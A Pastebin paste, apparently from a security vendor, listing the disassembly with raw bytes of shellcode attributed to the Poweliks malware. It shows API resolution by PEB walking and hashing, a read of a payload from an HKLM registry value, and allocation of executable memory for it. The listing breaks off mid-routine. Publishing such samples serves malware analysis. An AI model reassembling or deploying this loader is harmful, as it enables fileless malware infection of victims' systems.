Advertisement
Guest User

ReaQta - Poweliks shellcode

a guest
Sep 16th, 2015
564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                            .data:00000000 55                               push   ebp
  2.                            .data:00000001 8b ec                            mov    ebp,esp
  3.                            .data:00000003 81 c4 00 fa ff ff                add    esp,0xfffffa00
  4.                            .data:00000009 53                               push   ebx
  5.                            .data:0000000a 56                               push   esi
  6.                            .data:0000000b 57                               push   edi
  7.                            .data:0000000c 53                               push   ebx
  8.                            .data:0000000d 56                               push   esi
  9.                            .data:0000000e 57                               push   edi
  10.                            .data:0000000f fc                               cld    
  11.                            .data:00000010 31 d2                            xor    edx,edx
  12.                            .data:00000012 64 8b 52 30                      mov    edx,DWORD PTR fs:[edx+0x30]
  13.                            .data:00000016 8b 52 0c                         mov    edx,DWORD PTR [edx+0xc]
  14.                            .data:00000019 8b 52 14                         mov    edx,DWORD PTR [edx+0x14]
  15.                            .data:0000001c 8b 72 28                         mov    esi,DWORD PTR [edx+0x28]
  16.                            .data:0000001f 6a 18                            push   0x18
  17.                            .data:00000021 59                               pop    ecx
  18.                            .data:00000022 31 ff                            xor    edi,edi
  19.                            .data:00000024 31 c0                            xor    eax,eax
  20.                            .data:00000026 ac                               lods   al,BYTE PTR ds:[esi]
  21.                            .data:00000027 3c 61                            cmp    al,0x61
  22.                            .data:00000029 7c 02                            jl     0x0000002d
  23.                            .data:0000002b 2c 20                            sub    al,0x20
  24.                            .data:0000002d c1 cf 0d                         ror    edi,0xd
  25.                            .data:00000030 01 c7                            add    edi,eax
  26.                            .data:00000032 e2 f0                            loop   0x00000024
  27.                            .data:00000034 81 ff 5b bc 4a 6a                cmp    edi,0x6a4abc5b
  28.                            .data:0000003a 8b 5a 10                         mov    ebx,DWORD PTR [edx+0x10]
  29.                            .data:0000003d 8b 12                            mov    edx,DWORD PTR [edx]
  30.                            .data:0000003f 75 db                            jne    0x0000001c
  31.                            .data:00000041 89 5d fc                         mov    DWORD PTR [ebp-0x4],ebx
  32.                            .data:00000044 5f                               pop    edi
  33.                            .data:00000045 5e                               pop    esi
  34.                            .data:00000046 5b                               pop    ebx
  35.                            .data:00000047 8b 45 fc                         mov    eax,DWORD PTR [ebp-0x4]
  36.                            .data:0000004a 89 45 d4                         mov    DWORD PTR [ebp-0x2c],eax
  37.                            .data:0000004d 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  38.                            .data:00000050 66 81 38 4d 5a                   cmp    WORD PTR [eax],0x5a4d
  39.                            .data:00000055 0f 85 0f 02 00 00                jne    0x0000026a
  40.                            .data:0000005b 8b 45 fc                         mov    eax,DWORD PTR [ebp-0x4]
  41.                            .data:0000005e 33 d2                            xor    edx,edx
  42.                            .data:00000060 52                               push   edx
  43.                            .data:00000061 50                               push   eax
  44.                            .data:00000062 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  45.                            .data:00000065 8b 40 3c                         mov    eax,DWORD PTR [eax+0x3c]
  46.                            .data:00000068 99                               cdq    
  47.                            .data:00000069 03 04 24                         add    eax,DWORD PTR [esp]
  48.                            .data:0000006c 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  49.                            .data:00000070 83 c4 08                         add    esp,0x8
  50.                            .data:00000073 89 45 d0                         mov    DWORD PTR [ebp-0x30],eax
  51.                            .data:00000076 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  52.                            .data:00000079 81 38 50 45 00 00                cmp    DWORD PTR [eax],0x4550
  53.                            .data:0000007f 0f 85 e5 01 00 00                jne    0x0000026a
  54.                            .data:00000085 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  55.                            .data:00000088 8b 40 78                         mov    eax,DWORD PTR [eax+0x78]
  56.                            .data:0000008b 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  57.                            .data:0000008e 89 45 cc                         mov    DWORD PTR [ebp-0x34],eax
  58.                            .data:00000091 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  59.                            .data:00000094 8b 40 18                         mov    eax,DWORD PTR [eax+0x18]
  60.                            .data:00000097 85 c0                            test   eax,eax
  61.                            .data:00000099 0f 8c cb 01 00 00                jl     0x0000026a
  62.                            .data:0000009f 40                               inc    eax
  63.                            .data:000000a0 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  64.                            .data:000000a6 33 f6                            xor    esi,esi
  65.                            .data:000000a8 8b 45 fc                         mov    eax,DWORD PTR [ebp-0x4]
  66.                            .data:000000ab 33 d2                            xor    edx,edx
  67.                            .data:000000ad 52                               push   edx
  68.                            .data:000000ae 50                               push   eax
  69.                            .data:000000af 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  70.                            .data:000000b2 8b 40 20                         mov    eax,DWORD PTR [eax+0x20]
  71.                            .data:000000b5 33 d2                            xor    edx,edx
  72.                            .data:000000b7 52                               push   edx
  73.                            .data:000000b8 50                               push   eax
  74.                            .data:000000b9 8b c6                            mov    eax,esi
  75.                            .data:000000bb c1 e0 02                         shl    eax,0x2
  76.                            .data:000000be 99                               cdq    
  77.                            .data:000000bf 03 04 24                         add    eax,DWORD PTR [esp]
  78.                            .data:000000c2 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  79.                            .data:000000c6 83 c4 08                         add    esp,0x8
  80.                            .data:000000c9 03 04 24                         add    eax,DWORD PTR [esp]
  81.                            .data:000000cc 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  82.                            .data:000000d0 83 c4 08                         add    esp,0x8
  83.                            .data:000000d3 8b 08                            mov    ecx,DWORD PTR [eax]
  84.                            .data:000000d5 03 4d fc                         add    ecx,DWORD PTR [ebp-0x4]
  85.                            .data:000000d8 81 39 4c 6f 61 64                cmp    DWORD PTR [ecx],0x64616f4c
  86.                            .data:000000de 75 56                            jne    0x00000136
  87.                            .data:000000e0 8d 41 04                         lea    eax,[ecx+0x4]
  88.                            .data:000000e3 81 38 4c 69 62 72                cmp    DWORD PTR [eax],0x7262694c
  89.                            .data:000000e9 75 4b                            jne    0x00000136
  90.                            .data:000000eb 8d 41 08                         lea    eax,[ecx+0x8]
  91.                            .data:000000ee 81 38 61 72 79 41                cmp    DWORD PTR [eax],0x41797261
  92.                            .data:000000f4 75 40                            jne    0x00000136
  93.                            .data:000000f6 8d 41 0c                         lea    eax,[ecx+0xc]
  94.                            .data:000000f9 80 38 00                         cmp    BYTE PTR [eax],0x0
  95.                            .data:000000fc 75 38                            jne    0x00000136
  96.                            .data:000000fe 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  97.                            .data:00000101 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  98.                            .data:00000104 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  99.                            .data:00000107 33 d2                            xor    edx,edx
  100.                            .data:00000109 52                               push   edx
  101.                            .data:0000010a 50                               push   eax
  102.                            .data:0000010b 8b c6                            mov    eax,esi
  103.                            .data:0000010d 03 c0                            add    eax,eax
  104.                            .data:0000010f 99                               cdq    
  105.                            .data:00000110 03 04 24                         add    eax,DWORD PTR [esp]
  106.                            .data:00000113 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  107.                            .data:00000117 83 c4 08                         add    esp,0x8
  108.                            .data:0000011a 66 8b 00                         mov    ax,WORD PTR [eax]
  109.                            .data:0000011d 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  110.                            .data:00000120 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  111.                            .data:00000123 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  112.                            .data:00000126 0f b7 c0                         movzx  eax,ax
  113.                            .data:00000129 c1 e0 02                         shl    eax,0x2
  114.                            .data:0000012c 03 d0                            add    edx,eax
  115.                            .data:0000012e 8b 02                            mov    eax,DWORD PTR [edx]
  116.                            .data:00000130 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  117.                            .data:00000133 89 45 bc                         mov    DWORD PTR [ebp-0x44],eax
  118.                            .data:00000136 81 39 47 65 74 50                cmp    DWORD PTR [ecx],0x50746547
  119.                            .data:0000013c 75 56                            jne    0x00000194
  120.                            .data:0000013e 8d 41 04                         lea    eax,[ecx+0x4]
  121.                            .data:00000141 81 38 72 6f 63 41                cmp    DWORD PTR [eax],0x41636f72
  122.                            .data:00000147 75 4b                            jne    0x00000194
  123.                            .data:00000149 8d 41 08                         lea    eax,[ecx+0x8]
  124.                            .data:0000014c 81 38 64 64 72 65                cmp    DWORD PTR [eax],0x65726464
  125.                            .data:00000152 75 40                            jne    0x00000194
  126.                            .data:00000154 8d 41 0e                         lea    eax,[ecx+0xe]
  127.                            .data:00000157 80 38 00                         cmp    BYTE PTR [eax],0x0
  128.                            .data:0000015a 75 38                            jne    0x00000194
  129.                            .data:0000015c 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  130.                            .data:0000015f 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  131.                            .data:00000162 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  132.                            .data:00000165 33 d2                            xor    edx,edx
  133.                            .data:00000167 52                               push   edx
  134.                            .data:00000168 50                               push   eax
  135.                            .data:00000169 8b c6                            mov    eax,esi
  136.                            .data:0000016b 03 c0                            add    eax,eax
  137.                            .data:0000016d 99                               cdq    
  138.                            .data:0000016e 03 04 24                         add    eax,DWORD PTR [esp]
  139.                            .data:00000171 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  140.                            .data:00000175 83 c4 08                         add    esp,0x8
  141.                            .data:00000178 66 8b 00                         mov    ax,WORD PTR [eax]
  142.                            .data:0000017b 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  143.                            .data:0000017e 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  144.                            .data:00000181 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  145.                            .data:00000184 0f b7 c0                         movzx  eax,ax
  146.                            .data:00000187 c1 e0 02                         shl    eax,0x2
  147.                            .data:0000018a 03 d0                            add    edx,eax
  148.                            .data:0000018c 8b 02                            mov    eax,DWORD PTR [edx]
  149.                            .data:0000018e 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  150.                            .data:00000191 89 45 b8                         mov    DWORD PTR [ebp-0x48],eax
  151.                            .data:00000194 81 39 56 69 72 74                cmp    DWORD PTR [ecx],0x74726956
  152.                            .data:0000019a 75 56                            jne    0x000001f2
  153.                            .data:0000019c 8d 41 04                         lea    eax,[ecx+0x4]
  154.                            .data:0000019f 81 38 75 61 6c 41                cmp    DWORD PTR [eax],0x416c6175
  155.                            .data:000001a5 75 4b                            jne    0x000001f2
  156.                            .data:000001a7 8d 41 08                         lea    eax,[ecx+0x8]
  157.                            .data:000001aa 81 38 6c 6c 6f 63                cmp    DWORD PTR [eax],0x636f6c6c
  158.                            .data:000001b0 75 40                            jne    0x000001f2
  159.                            .data:000001b2 8d 41 0c                         lea    eax,[ecx+0xc]
  160.                            .data:000001b5 80 38 00                         cmp    BYTE PTR [eax],0x0
  161.                            .data:000001b8 75 38                            jne    0x000001f2
  162.                            .data:000001ba 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  163.                            .data:000001bd 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  164.                            .data:000001c0 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  165.                            .data:000001c3 33 d2                            xor    edx,edx
  166.                            .data:000001c5 52                               push   edx
  167.                            .data:000001c6 50                               push   eax
  168.                            .data:000001c7 8b c6                            mov    eax,esi
  169.                            .data:000001c9 03 c0                            add    eax,eax
  170.                            .data:000001cb 99                               cdq    
  171.                            .data:000001cc 03 04 24                         add    eax,DWORD PTR [esp]
  172.                            .data:000001cf 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  173.                            .data:000001d3 83 c4 08                         add    esp,0x8
  174.                            .data:000001d6 66 8b 00                         mov    ax,WORD PTR [eax]
  175.                            .data:000001d9 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  176.                            .data:000001dc 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  177.                            .data:000001df 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  178.                            .data:000001e2 0f b7 c0                         movzx  eax,ax
  179.                            .data:000001e5 c1 e0 02                         shl    eax,0x2
  180.                            .data:000001e8 03 d0                            add    edx,eax
  181.                            .data:000001ea 8b 02                            mov    eax,DWORD PTR [edx]
  182.                            .data:000001ec 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  183.                            .data:000001ef 89 45 a8                         mov    DWORD PTR [ebp-0x58],eax
  184.                            .data:000001f2 81 39 45 78 69 74                cmp    DWORD PTR [ecx],0x74697845
  185.                            .data:000001f8 75 63                            jne    0x0000025d
  186.                            .data:000001fa 8d 41 04                         lea    eax,[ecx+0x4]
  187.                            .data:000001fd 81 38 50 72 6f 63                cmp    DWORD PTR [eax],0x636f7250
  188.                            .data:00000203 75 58                            jne    0x0000025d
  189.                            .data:00000205 8d 41 08                         lea    eax,[ecx+0x8]
  190.                            .data:00000208 80 38 65                         cmp    BYTE PTR [eax],0x65
  191.                            .data:0000020b 75 50                            jne    0x0000025d
  192.                            .data:0000020d 8d 41 09                         lea    eax,[ecx+0x9]
  193.                            .data:00000210 80 38 73                         cmp    BYTE PTR [eax],0x73
  194.                            .data:00000213 75 48                            jne    0x0000025d
  195.                            .data:00000215 8d 41 0a                         lea    eax,[ecx+0xa]
  196.                            .data:00000218 80 38 73                         cmp    BYTE PTR [eax],0x73
  197.                            .data:0000021b 75 40                            jne    0x0000025d
  198.                            .data:0000021d 83 c1 0b                         add    ecx,0xb
  199.                            .data:00000220 80 39 00                         cmp    BYTE PTR [ecx],0x0
  200.                            .data:00000223 75 38                            jne    0x0000025d
  201.                            .data:00000225 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  202.                            .data:00000228 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  203.                            .data:0000022b 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  204.                            .data:0000022e 33 d2                            xor    edx,edx
  205.                            .data:00000230 52                               push   edx
  206.                            .data:00000231 50                               push   eax
  207.                            .data:00000232 8b c6                            mov    eax,esi
  208.                            .data:00000234 03 c0                            add    eax,eax
  209.                            .data:00000236 99                               cdq    
  210.                            .data:00000237 03 04 24                         add    eax,DWORD PTR [esp]
  211.                            .data:0000023a 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  212.                            .data:0000023e 83 c4 08                         add    esp,0x8
  213.                            .data:00000241 66 8b 00                         mov    ax,WORD PTR [eax]
  214.                            .data:00000244 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  215.                            .data:00000247 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  216.                            .data:0000024a 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  217.                            .data:0000024d 0f b7 c0                         movzx  eax,ax
  218.                            .data:00000250 c1 e0 02                         shl    eax,0x2
  219.                            .data:00000253 03 d0                            add    edx,eax
  220.                            .data:00000255 8b 02                            mov    eax,DWORD PTR [edx]
  221.                            .data:00000257 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  222.                            .data:0000025a 89 45 a4                         mov    DWORD PTR [ebp-0x5c],eax
  223.                            .data:0000025d 46                               inc    esi
  224.                            .data:0000025e ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  225.                            .data:00000264 0f 85 3e fe ff ff                jne    0x000000a8
  226.                            .data:0000026a c6 85 2f ff ff ff 61             mov    BYTE PTR [ebp-0xd1],0x61
  227.                            .data:00000271 c6 85 30 ff ff ff 64             mov    BYTE PTR [ebp-0xd0],0x64
  228.                            .data:00000278 c6 85 31 ff ff ff 76             mov    BYTE PTR [ebp-0xcf],0x76
  229.                            .data:0000027f c6 85 32 ff ff ff 61             mov    BYTE PTR [ebp-0xce],0x61
  230.                            .data:00000286 c6 85 33 ff ff ff 70             mov    BYTE PTR [ebp-0xcd],0x70
  231.                            .data:0000028d c6 85 34 ff ff ff 69             mov    BYTE PTR [ebp-0xcc],0x69
  232.                            .data:00000294 c6 85 35 ff ff ff 33             mov    BYTE PTR [ebp-0xcb],0x33
  233.                            .data:0000029b c6 85 36 ff ff ff 32             mov    BYTE PTR [ebp-0xca],0x32
  234.                            .data:000002a2 c6 85 37 ff ff ff 2e             mov    BYTE PTR [ebp-0xc9],0x2e
  235.                            .data:000002a9 c6 85 38 ff ff ff 64             mov    BYTE PTR [ebp-0xc8],0x64
  236.                            .data:000002b0 c6 85 39 ff ff ff 6c             mov    BYTE PTR [ebp-0xc7],0x6c
  237.                            .data:000002b7 c6 85 3a ff ff ff 6c             mov    BYTE PTR [ebp-0xc6],0x6c
  238.                            .data:000002be c6 85 3b ff ff ff 00             mov    BYTE PTR [ebp-0xc5],0x0
  239.                            .data:000002c5 8d 85 2f ff ff ff                lea    eax,[ebp-0xd1]
  240.                            .data:000002cb 50                               push   eax
  241.                            .data:000002cc ff 55 bc                         call   DWORD PTR [ebp-0x44]
  242.                            .data:000002cf 8b d8                            mov    ebx,eax
  243.                            .data:000002d1 85 db                            test   ebx,ebx
  244.                            .data:000002d3 75 05                            jne    0x000002da
  245.                            .data:000002d5 6a 00                            push   0x0
  246.                            .data:000002d7 ff 55 a4                         call   DWORD PTR [ebp-0x5c]
  247.                            .data:000002da 89 5d d4                         mov    DWORD PTR [ebp-0x2c],ebx
  248.                            .data:000002dd 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  249.                            .data:000002e0 66 81 38 4d 5a                   cmp    WORD PTR [eax],0x5a4d
  250.                            .data:000002e5 0f 85 4f 01 00 00                jne    0x0000043a
  251.                            .data:000002eb 8b c3                            mov    eax,ebx
  252.                            .data:000002ed 33 d2                            xor    edx,edx
  253.                            .data:000002ef 52                               push   edx
  254.                            .data:000002f0 50                               push   eax
  255.                            .data:000002f1 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  256.                            .data:000002f4 8b 40 3c                         mov    eax,DWORD PTR [eax+0x3c]
  257.                            .data:000002f7 99                               cdq    
  258.                            .data:000002f8 03 04 24                         add    eax,DWORD PTR [esp]
  259.                            .data:000002fb 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  260.                            .data:000002ff 83 c4 08                         add    esp,0x8
  261.                            .data:00000302 89 45 d0                         mov    DWORD PTR [ebp-0x30],eax
  262.                            .data:00000305 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  263.                            .data:00000308 81 38 50 45 00 00                cmp    DWORD PTR [eax],0x4550
  264.                            .data:0000030e 0f 85 26 01 00 00                jne    0x0000043a
  265.                            .data:00000314 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  266.                            .data:00000317 8b 40 78                         mov    eax,DWORD PTR [eax+0x78]
  267.                            .data:0000031a 03 c3                            add    eax,ebx
  268.                            .data:0000031c 89 45 cc                         mov    DWORD PTR [ebp-0x34],eax
  269.                            .data:0000031f 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  270.                            .data:00000322 8b 40 18                         mov    eax,DWORD PTR [eax+0x18]
  271.                            .data:00000325 85 c0                            test   eax,eax
  272.                            .data:00000327 0f 8c 0d 01 00 00                jl     0x0000043a
  273.                            .data:0000032d 40                               inc    eax
  274.                            .data:0000032e 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  275.                            .data:00000334 33 f6                            xor    esi,esi
  276.                            .data:00000336 8b c3                            mov    eax,ebx
  277.                            .data:00000338 33 d2                            xor    edx,edx
  278.                            .data:0000033a 52                               push   edx
  279.                            .data:0000033b 50                               push   eax
  280.                            .data:0000033c 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  281.                            .data:0000033f 8b 40 20                         mov    eax,DWORD PTR [eax+0x20]
  282.                            .data:00000342 33 d2                            xor    edx,edx
  283.                            .data:00000344 52                               push   edx
  284.                            .data:00000345 50                               push   eax
  285.                            .data:00000346 8b c6                            mov    eax,esi
  286.                            .data:00000348 c1 e0 02                         shl    eax,0x2
  287.                            .data:0000034b 99                               cdq    
  288.                            .data:0000034c 03 04 24                         add    eax,DWORD PTR [esp]
  289.                            .data:0000034f 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  290.                            .data:00000353 83 c4 08                         add    esp,0x8
  291.                            .data:00000356 03 04 24                         add    eax,DWORD PTR [esp]
  292.                            .data:00000359 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  293.                            .data:0000035d 83 c4 08                         add    esp,0x8
  294.                            .data:00000360 8b 08                            mov    ecx,DWORD PTR [eax]
  295.                            .data:00000362 03 cb                            add    ecx,ebx
  296.                            .data:00000364 81 39 52 65 67 4f                cmp    DWORD PTR [ecx],0x4f676552
  297.                            .data:0000036a 75 5b                            jne    0x000003c7
  298.                            .data:0000036c 8d 41 04                         lea    eax,[ecx+0x4]
  299.                            .data:0000036f 81 38 70 65 6e 4b                cmp    DWORD PTR [eax],0x4b6e6570
  300.                            .data:00000375 75 50                            jne    0x000003c7
  301.                            .data:00000377 8d 41 08                         lea    eax,[ecx+0x8]
  302.                            .data:0000037a 81 38 65 79 45 78                cmp    DWORD PTR [eax],0x78457965
  303.                            .data:00000380 75 45                            jne    0x000003c7
  304.                            .data:00000382 8d 41 0c                         lea    eax,[ecx+0xc]
  305.                            .data:00000385 80 38 41                         cmp    BYTE PTR [eax],0x41
  306.                            .data:00000388 75 3d                            jne    0x000003c7
  307.                            .data:0000038a 8d 41 0d                         lea    eax,[ecx+0xd]
  308.                            .data:0000038d 80 38 00                         cmp    BYTE PTR [eax],0x0
  309.                            .data:00000390 75 35                            jne    0x000003c7
  310.                            .data:00000392 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  311.                            .data:00000395 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  312.                            .data:00000398 03 c3                            add    eax,ebx
  313.                            .data:0000039a 33 d2                            xor    edx,edx
  314.                            .data:0000039c 52                               push   edx
  315.                            .data:0000039d 50                               push   eax
  316.                            .data:0000039e 8b c6                            mov    eax,esi
  317.                            .data:000003a0 03 c0                            add    eax,eax
  318.                            .data:000003a2 99                               cdq    
  319.                            .data:000003a3 03 04 24                         add    eax,DWORD PTR [esp]
  320.                            .data:000003a6 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  321.                            .data:000003aa 83 c4 08                         add    esp,0x8
  322.                            .data:000003ad 66 8b 00                         mov    ax,WORD PTR [eax]
  323.                            .data:000003b0 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  324.                            .data:000003b3 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  325.                            .data:000003b6 03 d3                            add    edx,ebx
  326.                            .data:000003b8 0f b7 c0                         movzx  eax,ax
  327.                            .data:000003bb c1 e0 02                         shl    eax,0x2
  328.                            .data:000003be 03 d0                            add    edx,eax
  329.                            .data:000003c0 8b 02                            mov    eax,DWORD PTR [edx]
  330.                            .data:000003c2 03 c3                            add    eax,ebx
  331.                            .data:000003c4 89 45 b0                         mov    DWORD PTR [ebp-0x50],eax
  332.                            .data:000003c7 81 39 52 65 67 51                cmp    DWORD PTR [ecx],0x51676552
  333.                            .data:000003cd 75 5e                            jne    0x0000042d
  334.                            .data:000003cf 8d 41 04                         lea    eax,[ecx+0x4]
  335.                            .data:000003d2 81 38 75 65 72 79                cmp    DWORD PTR [eax],0x79726575
  336.                            .data:000003d8 75 53                            jne    0x0000042d
  337.                            .data:000003da 8d 41 08                         lea    eax,[ecx+0x8]
  338.                            .data:000003dd 81 38 56 61 6c 75                cmp    DWORD PTR [eax],0x756c6156
  339.                            .data:000003e3 75 48                            jne    0x0000042d
  340.                            .data:000003e5 8d 41 0c                         lea    eax,[ecx+0xc]
  341.                            .data:000003e8 81 38 65 45 78 41                cmp    DWORD PTR [eax],0x41784565
  342.                            .data:000003ee 75 3d                            jne    0x0000042d
  343.                            .data:000003f0 83 c1 10                         add    ecx,0x10
  344.                            .data:000003f3 80 39 00                         cmp    BYTE PTR [ecx],0x0
  345.                            .data:000003f6 75 35                            jne    0x0000042d
  346.                            .data:000003f8 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  347.                            .data:000003fb 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  348.                            .data:000003fe 03 c3                            add    eax,ebx
  349.                            .data:00000400 33 d2                            xor    edx,edx
  350.                            .data:00000402 52                               push   edx
  351.                            .data:00000403 50                               push   eax
  352.                            .data:00000404 8b c6                            mov    eax,esi
  353.                            .data:00000406 03 c0                            add    eax,eax
  354.                            .data:00000408 99                               cdq    
  355.                            .data:00000409 03 04 24                         add    eax,DWORD PTR [esp]
  356.                            .data:0000040c 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  357.                            .data:00000410 83 c4 08                         add    esp,0x8
  358.                            .data:00000413 66 8b 00                         mov    ax,WORD PTR [eax]
  359.                            .data:00000416 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  360.                            .data:00000419 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  361.                            .data:0000041c 03 d3                            add    edx,ebx
  362.                            .data:0000041e 0f b7 c0                         movzx  eax,ax
  363.                            .data:00000421 c1 e0 02                         shl    eax,0x2
  364.                            .data:00000424 03 d0                            add    edx,eax
  365.                            .data:00000426 8b 02                            mov    eax,DWORD PTR [edx]
  366.                            .data:00000428 03 c3                            add    eax,ebx
  367.                            .data:0000042a 89 45 ac                         mov    DWORD PTR [ebp-0x54],eax
  368.                            .data:0000042d 46                               inc    esi
  369.                            .data:0000042e ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  370.                            .data:00000434 0f 85 fc fe ff ff                jne    0x00000336
  371.                            .data:0000043a 8b 45 08                         mov    eax,DWORD PTR [ebp+0x8]
  372.                            .data:0000043d 05 48 0a 00 00                   add    eax,0xa48
  373.                            .data:00000442 89 85 7c ff ff ff                mov    DWORD PTR [ebp-0x84],eax
  374.                            .data:00000448 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  375.                            .data:0000044e 05 e4 00 00 00                   add    eax,0xe4
  376.                            .data:00000453 89 85 78 ff ff ff                mov    DWORD PTR [ebp-0x88],eax
  377.                            .data:00000459 33 db                            xor    ebx,ebx
  378.                            .data:0000045b 33 c0                            xor    eax,eax
  379.                            .data:0000045d 89 85 64 ff ff ff                mov    DWORD PTR [ebp-0x9c],eax
  380.                            .data:00000463 33 c0                            xor    eax,eax
  381.                            .data:00000465 89 85 60 ff ff ff                mov    DWORD PTR [ebp-0xa0],eax
  382.                            .data:0000046b 8d 85 70 ff ff ff                lea    eax,[ebp-0x90]
  383.                            .data:00000471 50                               push   eax
  384.                            .data:00000472 6a 01                            push   0x1
  385.                            .data:00000474 6a 00                            push   0x0
  386.                            .data:00000476 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  387.                            .data:0000047c 50                               push   eax
  388.                            .data:0000047d 68 02 00 00 80                   push   0x80000002
  389.                            .data:00000482 ff 55 b0                         call   DWORD PTR [ebp-0x50]
  390.                            .data:00000485 85 c0                            test   eax,eax
  391.                            .data:00000487 0f 85 86 00 00 00                jne    0x00000513
  392.                            .data:0000048d 8d 85 60 ff ff ff                lea    eax,[ebp-0xa0]
  393.                            .data:00000493 50                               push   eax
  394.                            .data:00000494 6a 00                            push   0x0
  395.                            .data:00000496 8d 85 6c ff ff ff                lea    eax,[ebp-0x94]
  396.                            .data:0000049c 50                               push   eax
  397.                            .data:0000049d 6a 00                            push   0x0
  398.                            .data:0000049f 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  399.                            .data:000004a5 83 c0 41                         add    eax,0x41
  400.                            .data:000004a8 50                               push   eax
  401.                            .data:000004a9 8b 85 70 ff ff ff                mov    eax,DWORD PTR [ebp-0x90]
  402.                            .data:000004af 50                               push   eax
  403.                            .data:000004b0 ff 55 ac                         call   DWORD PTR [ebp-0x54]
  404.                            .data:000004b3 85 c0                            test   eax,eax
  405.                            .data:000004b5 75 5c                            jne    0x00000513
  406.                            .data:000004b7 83 bd 60 ff ff ff 64             cmp    DWORD PTR [ebp-0xa0],0x64
  407.                            .data:000004be 76 53                            jbe    0x00000513
  408.                            .data:000004c0 6a 40                            push   0x40
  409.                            .data:000004c2 68 00 30 00 00                   push   0x3000
  410.                            .data:000004c7 8b 85 60 ff ff ff                mov    eax,DWORD PTR [ebp-0xa0]
  411.                            .data:000004cd 50                               push   eax
  412.                            .data:000004ce 6a 00                            push   0x0
  413.                            .data:000004d0 ff 55 a8                         call   DWORD PTR [ebp-0x58]
  414.                            .data:000004d3 89 85 64 ff ff ff                mov    DWORD PTR [ebp-0x9c],eax
  415.                            .data:000004d9 83 bd 64 ff ff ff 00             cmp    DWORD PTR [ebp-0x9c],0x0
  416.                            .data:000004e0 74 31                            je     0x00000513
  417.                            .data:000004e2 8d 85 60 ff ff ff                lea    eax,[ebp-0xa0]
  418.                            .data:000004e8 50                               push   eax
  419.                            .data:000004e9 8b 85 64 ff ff ff                mov    eax,DWORD PTR [ebp-0x9c]
  420.                            .data:000004ef 50                               push   eax
  421.                            .data:000004f0 8d 85 6c ff ff ff                lea    eax,[ebp-0x94]
  422.                            .data:000004f6 50                               push   eax
  423.                            .data:000004f7 6a 00                            push   0x0
  424.                            .data:000004f9 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  425.                            .data:000004ff 83 c0 41                         add    eax,0x41
  426.                            .data:00000502 50                               push   eax
  427.                            .data:00000503 8b 85 70 ff ff ff                mov    eax,DWORD PTR [ebp-0x90]
